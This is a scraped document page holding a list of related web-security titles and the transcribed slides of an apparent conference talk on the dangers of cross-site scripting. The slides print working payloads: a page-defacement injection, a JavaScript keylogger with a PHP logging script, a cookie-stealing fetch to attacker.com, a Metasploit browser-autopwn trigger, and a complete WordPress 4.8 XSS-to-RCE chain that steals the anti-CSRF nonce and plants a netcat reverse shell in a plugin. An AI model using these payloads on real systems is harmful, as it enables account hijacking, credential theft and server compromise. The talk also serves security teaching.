XSSFor the win! What can be really done with Cross-Site Scripting.

Similar documents
Web Application Security. Philippe Bogaerts

CIS 4360 Secure Computer Systems XSS

CSCE 813 Internet Security Case Study II: XSS

WEB SECURITY: XSS & CSRF

CSC 482/582: Computer Security. Cross-Site Security

Lecture Overview. IN5290 Ethical Hacking

Lecture 6: Web hacking 2, Cross Site Scripting (XSS), Cross Site Request Forgery (CSRF), Session related attacks

Penetration Test Report

Is Browsing Safe? Web Browser Security. Subverting the Browser. Browser Security Model. XSS / Script Injection. 1. XSS / Script Injection

CSE361 Web Security. Attacks against the client-side of web applications. Nick Nikiforakis

WEB SECURITY WORKSHOP TEXSAW Presented by Solomon Boyd and Jiayang Wang

CS Paul Krzyzanowski

Computer Security. 14. Web Security. Paul Krzyzanowski. Rutgers University. Spring 2018

last time: command injection

Web Security. Thierry Sans

RKN 2015 Application Layer Short Summary

Computer Security 3e. Dieter Gollmann. Chapter 18: 1

Exploiting and Defending: Common Web Application Vulnerabilities

Application Layer Attacks. Application Layer Attacks. Application Layer. Application Layer. Internet Protocols. Application Layer.

Common Websites Security Issues. Ziv Perry

Lecture 17 Browser Security. Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Some slides from Bailey's ECE 422

Web Security IV: Cross-Site Attacks

Web Security: Vulnerabilities & Attacks

Information Security CS 526 Topic 11

Application vulnerabilities and defences

John Coggeshall Copyright 2006, Zend Technologies Inc.

Chrome Extension Security Architecture

Attacks Against Websites. Tom Chothia Computer Security, Lecture 11

INF3700 Informasjonsteknologi og samfunn. Application Security. Audun Jøsang University of Oslo Spring 2015

(System) Integrity attacks System Abuse, Malicious File upload, SQL Injection

Hacking Intranet Websites from the Outside

7.2.4 on Media content; on XSS) sws2 1

CSCD 303 Essential Computer Security Fall 2018

Perslink Security. Perslink Security. Eleonora Petridou Pascal Cuylaerts. System And Network Engineering University of Amsterdam.

Web security: an introduction to attack techniques and defense methods


Some Facts Web 2.0/Ajax Security

Founded the web application security lab

CSE361 Web Security. Attacks against the client-side of web applications. Nick Nikiforakis

The Hacker s Guide to XSS

The security of Mozilla Firefox s Extensions. Kristjan Krips

Web Attacks, con t. CS 161: Computer Security. Prof. Vern Paxson. TAs: Devdatta Akhawe, Mobin Javed & Matthias Vallentin

CSC 405 Computer Security. Web Security

Information Security CS 526 Topic 8

CSCD 303 Essential Computer Security Fall 2017

Web insecurity Security strategies General security Listing of server-side risks Language specific security. Web Security.

Penetration Testing with Kali Linux

Chat with a hacker. Increase attack surface for Pentest. A talk by Egor Karbutov and Alexey Pertsev

Combating Common Web App Authentication Threats

Web basics: HTTP cookies

2/16/18. CYSE 411/AIT 681 Secure Software Engineering. Secure Coding. The Web. Topic #11. Web Security. Instructor: Dr. Kun Sun

Web basics: HTTP cookies

Client Side Injection on Web Applications

WHY CSRF WORKS. Implicit authentication by Web browsers

How is state managed in HTTP sessions. Web basics: HTTP cookies. Hidden fields (2) The principle. Disadvantage of this approach

Web Application with AJAX. Kateb, Faris; Ahmed, Mohammed; Alzahrani, Omar. University of Colorado, Colorado Springs

CS 161 Computer Security

Web Security. Jace Baker, Nick Ramos, Hugo Espiritu, Andrew Le

Lecture Overview. IN5290 Ethical Hacking. Lecture 4: Web hacking 1, Client side bypass, Tampering data, Brute-forcing

Presented By Rick Deacon DEFCON 15 August 3-5, 2007

Unusual Web Bugs. A Web App Hacker s Bag O Tricks. Alex kuza55 K.

P2_L12 Web Security Page 1

Web Vulnerabilities. And The People Who Love Them

XSS Homework. 1 Overview. 2 Lab Environment

Application Security Introduction. Tara Gu IBM Product Security Incident Response Team

Lecture Notes on Safety and Information Flow on the Web: II

Stop sweating the password and learn to love public key cryptography. Chris Streeks Solutions Engineer, Yubico

DEFENSIVE PROGRAMMING. Lecture for EDA 263 Magnus Almgren Department of Computer Science and Engineering Chalmers University of Technology

Client Side Security And Testing Tools

Web Application Penetration Testing

Your Scripts in My Page: What Could Possibly Go Wrong? Sebastian Lekies / Ben Stock Martin Johns

Attacks Against Websites 3 The OWASP Top 10. Tom Chothia Computer Security, Lecture 14

Neat tricks to bypass CSRF-protection. Mikhail

1 About Web Security. What is application security? So what can happen? see [?]

CSE361 Web Security. Attacks against the server-side of web applications. Nick Nikiforakis

Attacking the Application OWASP. The OWASP Foundation. Dave Ferguson, CISSP Security Consultant FishNet Security.

Module 1: Penetration Testing Planning and Scoping. Module 2: Basic Usage of Linux and its services

SECURE CODING ESSENTIALS

Web 2.0 and AJAX Security. OWASP Montgomery. August 21 st, 2007

Security: Threats and Countermeasures. Stanley Tan Academic Program Manager Microsoft Singapore

Web Attacks CMSC 414. September 25 & 27, 2017

CS 142 Winter Session Management. Dan Boneh

Abusing Windows Opener to Bypass CSRF Protection (Never Relay On Client Side)

PHP Security. Kevin Schroeder Zend Technologies. Copyright 2007, Zend Technologies Inc.

Tutorial: Web Application Security

eb Security Software Studio

Cross-Site Scripting (XSS) Professor Larry Heimann Web Application Security Information Systems

CS390S, Week 11:Web Application Security Issues

Web Security. Web Programming.

Web Application Security

Cross Site Request Forgery

Web Application Threats and Remediation. Terry Labach, IST Security Team

Base64 The Security Killer

Protecting users against XSS-based password manager abuse. AsiaCCS 2014, Kyoto Ben Stock, Martin Johns

Security+ Guide to Network Security Fundamentals, Third Edition. Chapter 3 Protecting Systems

Project 2: Web Security

2/16/18. Secure Coding. CYSE 411/AIT 681 Secure Software Engineering. Web Security Outline. The Web. The Web, Basically.

PhishEye: Live Monitoring of Sandboxed Phishing Kits. Xiao Han Nizar Kheir Davide Balzarotti

COMP9321 Web Application Engineering

NET 311 INFORMATION SECURITY

Transcription:

XSSFor the win! What can be really done with Cross-Site Scripting by @brutelogic

Whoami Security Researcher at Sucuri Security (a GoDaddy company) XSS, filter/waf bypass and bash! Helped to fix more than 1000 XSS vulnerabilities in www Actually developing/maintaining KNOXSS, an online XSS tool

Agenda Fast Intro to XSS Dangers of XSS Virtual Defacement LSD - Leakage, Spying and Deceiving Account Stealing Memory Corruption Vector XSS Worm CMS Pwnage Miscellaneous

Fast Intro to XSS Definition XSS is javascript code executed by attacker in victim s browser Browsers use a programmatic (object oriented) model of HTML documents called DOM (Document Object Model) where every markup element is a DOM node. Almost anything done in browser is performed only or also by javascript

Fast Intro to XSS Classical Example Vulnerable PHP Source Code $username = $_GET[ user ]; echo <h1>hello, $username!</h1> ;

Fast Intro to XSS Classical Example Reflection of User Controlled Input John

Fast Intro to XSS Classical Example Execution of Script Block via User Input

Fast Intro to XSS Main Types Server based: attack comes in server s response (99,99% in source code), directly with input (reflected) or indirectly with a previously saved input (stored); Client based: rogue input is treated by native javascript code of the page and gets executed directly or indirectly in the same way as above. Aka DOM-based XSS.

Dangers of XSS

Virtual Defaceme nt Let s take the blue pill.

Virtual Defacement XSS that alters the visual of the page for the victim, spreading attacker s message or fake news Might impact business or influence someone s decision (like buy/sell of stocks or btc)

Simple defacement injection <img src=//attacker.com/picture.jpg style=width:100%;height:100%>

Loss! Hacker known as Brute Logic steals a fortune from Globo s journalist (headline)

Targeted code <iframe onload="parent.frames[0].document.getelementsbytagname('h1') [1].innerHTML='Prejuizo! Hacker conhecido como \'Brute Logic\' rouba verdadeira fortuna de jornalista global'" style="border:0;position:absolute;top:0;left:0;right:0;bottom:0;width:100%;height:100%" src="//www.tribunahoje.com/noticia/148537/entretenimento/2015/07/17/prejuizo-hackerrouba-verdadeira-fortuna-de-jornalista-global.html">

LSD Leakage, Spying and Deceiving Trust no one.

LSD - Leakage, Spying and Deceiving Leakage: any private info accessible by js is easily exfiltrated Spying: what victim type can be logged and sent anywhere Deceiving: by presenting a fake login form, victim s credentials are taken

XSS Keylogger $ cat k.js keys = ''; document.onkeypress = function(e) { $ cat k.php <?php $k = $_GET["k"]; get = window.event?event:e; key = get.keycode?get.keycode:get.charcode; key = String.fromCharCode(key); keys += key; if (!empty(k)) { $f = fopen("log.txt", "a+"); fwrite($f, $k); fclose($f); } } setinterval(function(){ new Image().src = '//localhost/keylogger/k.php?k=' + keys; keys = ''; }, 1000);

Keylogging with XSS

Account Stealing My another account is your account.

Account Stealing Session cookies can be exfiltrated (except httponly ones) Unprotected password/email/phone number change functionality can be abused to compromise account

Short js code to steal cookies: fetch( //attacker.com/?cookie= +document.cookie)

Unprotected password change in wordpress.com

Memory Corruptio n Welcome to my box. Vector

Memory Corruption Vector By simply firing a request to a server with a exploit, an attacker can compromise the underlying machine of the victim.

Metasploit Browser Autopwn 2 loaded

Unleashing the Metasploit beast: <img src=//attacker.com>

XSS Worm XSS is my hero.

XSS Worm Rogue js code can spread itself across the database of web app Exponential growth in social apps, possibility of total compromise

XSS Worm An worm in action can be seen here (lab experiment)

CMS Pwnage Hey admin, give me admin!

CMS Pwnage If an administrator of a CMS install gets XSSed, RCE is straightforward Get the anti-csrf token then submit with it to edit or upload code to server

https://w3techs.com/technologies/overview/content_management/all

Wordpress 4.8 - XSS to RCE Targeting Hello Dolly plugin, vanilla install 200 OK for /wordpress/wpcontent/plugins/hello.php

Wordpress 4.8 - XSS to RCE Defining some vars (path, file and payload) p = '/wordpress/wp-admin/plugin-editor.php?'; q = 'file=hello.php'; s = '<?=`nc attacker.com 5855 -e /bin/bash`;'; // reverse shell to attacker.com:5855

Wordpress 4.8 - XSS to RCE Grabbing anti-csrf token ( _wpnonce) and preparing content update a = new XMLHttpRequest(); a.open('get', p+q, 0); a.send(); $ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responsetext)[1] + '&newcontent=' + s + '&action=update&' + q;

Wordpress 4.8 - XSS to RCE Submitting plugin edition b = new XMLHttpRequest(); b.open('post', p+q, 1); b.setrequestheader('content-type', 'application/x-www-form-urlencoded'); b.send($);

Wordpress 4.8 - XSS to RCE Executing payload by firing a request b.onreadystatechange = function(){ if (this.readystate == 4) { fetch('/wordpress/wp-content/plugins/hello.php'); } }

Opening a netcat shell after triggering a stored XSS in WP

Miscellaneous Less Dangerous Outcomes 1. Forced download of files 2. Denial of Service 3. Attacks in mobile or with user permission (geolocation, audio/video capture, plugin install, etc)

Miscellaneous Easiness of XSS Delivery 1. Easily shared in social networks 2. Disguised by URL shortening services 3. Spam, spear phishing and watering hole

Miscellaneous References http://brutelogic.com.br/blog http://brutelogic.com.br/cheatsheet https://youtu.be/i8mtyiceqri https://youtu.be/26v01iijegk

Thank You! #hack2learn